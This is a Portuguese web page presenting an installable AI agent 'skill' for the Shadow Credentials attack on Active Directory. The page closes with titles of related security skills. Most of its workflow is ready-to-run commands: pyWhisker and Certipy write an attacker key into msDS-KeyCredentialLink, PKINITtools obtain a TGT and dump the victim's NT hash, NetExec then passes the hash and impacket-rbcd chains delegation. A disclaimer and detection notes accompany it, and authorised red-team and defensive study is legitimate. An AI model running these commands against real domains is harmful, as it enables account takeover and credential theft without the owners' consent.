Communitygithub.com

abuso-de-credenciais-sombra-para-elevacao-de-privilegio

Assuma contas do Active Directory escrevendo chaves públicas controladas pelo atacante em msDS-KeyCredentialLink (Shadow Credentials) com pyWhisker, Whisker ou Certipy, autenticando-se via PKINIT para recuperar o hash NT do alvo.

O que é abuso-de-credenciais-sombra-para-elevacao-de-privilegio?

Esta habilidade descreve a técnica de Shadow Credentials para elevação de privilégio em ambientes Active Directory. Ela explora o atributo msDS-KeyCredentialLink para adicionar uma chave pública controlada pelo atacante, permitindo autenticação PKINIT e recuperação do hash NT do alvo sem redefinir a senha. A técnica é suportada por ferramentas como pyWhisker (Python), Whisker (C#) e Certipy, que automatizam o processo. É útil quando o BloodHound revela permissões como GenericWrite, GenericAll ou AddKeyCredentialLink sobre um usuário ou computador. O ambiente precisa de um Domain Controller com Windows Server 2016 ou superior e suporte a PKINIT. A habilidade inclui etapas para confirmar acesso, adicionar a credencial, obter TGT via PKINIT, extrair o hash NT e limpar o artefato, com opção de automação completa via Certipy shadow auto. É uma alternativa furtiva ao ForceChangePassword, ideal para operações de red team e purple team que exigem sigilo.

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Abuso de Credenciais Sombra para Elevação de Privilégio

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. Credenciais Sombra concedem a tomada total da conta alvo. Use apenas em sistemas que você possui ou que possua autorização explícita por escrito para testar. Acesso não autorizado é crime.

Visão Geral

A técnica de Credenciais Sombra abusa do atributo msDS-KeyCredentialLink de objetos de usuário e computador do Active Directory. Este atributo armazena chaves públicas brutas ("Key Credentials") usadas pelo Windows Hello for Business e pelo registro de dispositivos do Azure AD para logon baseado em certificado sem senha via PKINIT (Criptografia de Chave Pública para Autenticação Inicial no Kerberos). Se um atacante tem permissão de escrita sobre o msDS-KeyCredentialLink do objeto alvo — normalmente concedida por ACEs GenericWrite, GenericAll, WriteProperty ou AddKeyCredentialLink identificadas no BloodHound — ele pode anexar sua própria chave pública gerada pelo atacante. Em seguida, solicita um TGT para o alvo via PKINIT usando a chave privada correspondente e recupera o hash NT do alvo, realizando a tomada completa da conta sem redefinir a senha, o que é muito mais furtivo do que uma redefinição forçada de senha.

A técnica foi publicada por Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") e implementada na ferramenta C# Whisker. O equivalente em Python, pyWhisker (ShutdownRepo), manipula o atributo via LDAP, e o Certipy integra toda a cadeia via certipy shadow auto. O ambiente alvo deve suportar PKINIT e ter pelo menos um Domain Controller executando Windows Server 2016 ou posterior. Fontes: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

Quando Usar

  • Quando o BloodHound revelar GenericWrite/GenericAll/AddKeyCredentialLink sobre um usuário ou computador de alto valor
  • Como uma alternativa mais furtiva ao ForceChangePassword (sem redefinir senha = menos interrupção/alertas)
  • Para assumir uma conta de computador e encadear em Delegação Restrita Baseada em Recurso (RBCD)
  • Durante operações de red team que precisam de tomada de conta sem bloquear o usuário legítimo
  • Para exercícios de purple team gerando telemetria de modificação do msDS-KeyCredentialLink

Pré-requisitos

  • Escopo de engajamento autorizado incluindo técnicas de acesso a credenciais do AD
  • Controle sobre um principal com acesso de escrita ao msDS-KeyCredentialLink do alvo
  • Um DC executando Windows Server 2016+ com PKINIT habilitado (nível funcional de domínio com suporte a Key Trust)
  • Acessibilidade de rede para LDAP (389/636) e Kerberos (88) em um DC
  • Host de ataque Linux com Python 3.8+; instalar as ferramentas:
    # pyWhisker (a partir do código fonte)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (ataque shadow integrado)
    pipx install certipy-ad
    # PKINITtools para extração manual de TGT/hash NT
    git clone https://github.com/dirkjanm/PKINITtools
    

Objetivos

  • Confirmar acesso de escrita sobre o msDS-KeyCredentialLink do alvo
  • Gerar um par de chaves e anexar uma Key Credential ao objeto alvo
  • Solicitar um TGT para o alvo via PKINIT usando a nova chave
  • Recuperar o hash NT do alvo para pass-the-hash / movimentação adicional
  • Limpar a Key Credential injetada para restaurar o estado do objeto
  • Documentar o caminho ACL que possibilitou o ataque para remediação

Mapeamento MITRE ATT&CK

IDTécnicaAplicação nesta habilidade
T1098.005Manipulação de Conta: Registro de DispositivoEscrever uma Key Credential controlada pelo atacante (chave de dispositivo) em msDS-KeyCredentialLink para registrar uma credencial de autenticação alternativa para a conta alvo

Fluxo de Trabalho

Passo 1: Confirmar a primitiva de escrita

Listar as Key Credentials existentes no alvo para verificar se você tem o acesso necessário. Um resultado vazio ou legível confirma acesso de escrita para a etapa add.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

Passo 2: Adicionar uma Credencial Sombra com pyWhisker

Gerar um par de certificado/chave e escrevê-lo no msDS-KeyCredentialLink do alvo. O pyWhisker gera um PFX que você controla.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# Produz victim_shadow.pfx e imprime a senha do PFX

Use autenticação Kerberos em vez de senha se você tiver apenas um ticket:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Passo 3: Solicitar um TGT via PKINIT

Use o PFX gerado com o PKINITtools para obter um TGT Kerberos para o alvo.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

Passo 4: Recuperar o hash NT

Extrair o hash NT do alvo do AS-REP usando a chave de sessão do Passo 3 (getnthash.py lê a chave de criptografia do AS-REP, exibida por gettgtpkinit.py).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Imprime o hash NT de 'victim'

Passo 5: Alternativa de um único comando com Certipy

O shadow auto do Certipy executa add → PKINIT → dump hash → cleanup automaticamente, ideal para a tomada de conta de computador.

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# Para uma conta de computador, use o sAMAccountName com $ no final
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Passo 6: Usar a credencial recuperada

Autentique-se com o hash NT (ou o TGT) para continuar o engajamento.

# Pass-the-hash com NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Ou use o TGT diretamente
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

Passo 7: Encadear a tomada de computador em RBCD (opcional)

Quando o alvo é um computador, a chave/hash recuperado permite configurar Delegação Restrita Baseada em Recurso para personificar qualquer usuário naquele host.

# Configurar RBCD para que o SPN controlado pelo atacante possa personificar para WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

Passo 8: Limpeza

Remova a Key Credential injetada para restaurar o objeto e reduzir a pegada de detecção.

# pyWhisker: remover pelo device-id (impresso durante add) ou limpar tudo que você adicionou
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto limpa automaticamente; caso contrário:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

Ferramentas e Recursos

RecursoPropósitoLink
pyWhiskerManipulação Python LDAP de msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
WhiskerImplementação original em C#https://github.com/eladshamir/Whisker
Certipyshadow auto para tomada de conta ponta a pontahttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker RecipesPasso a passo da técnica e defesashttps://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Notas de Detecção e Remediação

ÁreaOrientação
DetecçãoMonitore o Evento de Segurança do Windows ID 5136 (modificação de objeto de diretório) para alterações em msDS-KeyCredentialLink; alerte quando um principal não AD-Connect/não Intune escrever o atributo.
AuditoriaHabilite a auditoria de alteração de objeto de serviço de diretório em OUs de usuário/computador.
Privilégio mínimoRemova ACEs desnecessárias de GenericWrite/GenericAll/AddKeyCredentialLink (aresta AddKeyCredentialLink do BloodHound).
MitigaçãoOnde o Windows Hello/registro de dispositivos não for usado, restrinja quem pode escrever Key Credentials e considere contas protegidas de nível 0.

Critérios de Validação

  • Acesso de escrita sobre o msDS-KeyCredentialLink do alvo confirmado (list bem-sucedido)
  • Key Credential adicionada com sucesso (PFX gerado)
  • TGT PKINIT obtido para a conta alvo
  • Hash NT do alvo recuperado e validado contra um serviço
  • (Se computador) Cadeia RBCD ou movimento adiante demonstrado
  • Key Credential injetada removida / objeto restaurado
  • Caminho ACL habilitante documentado com recomendação de remediação

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Habilidades Relacionadas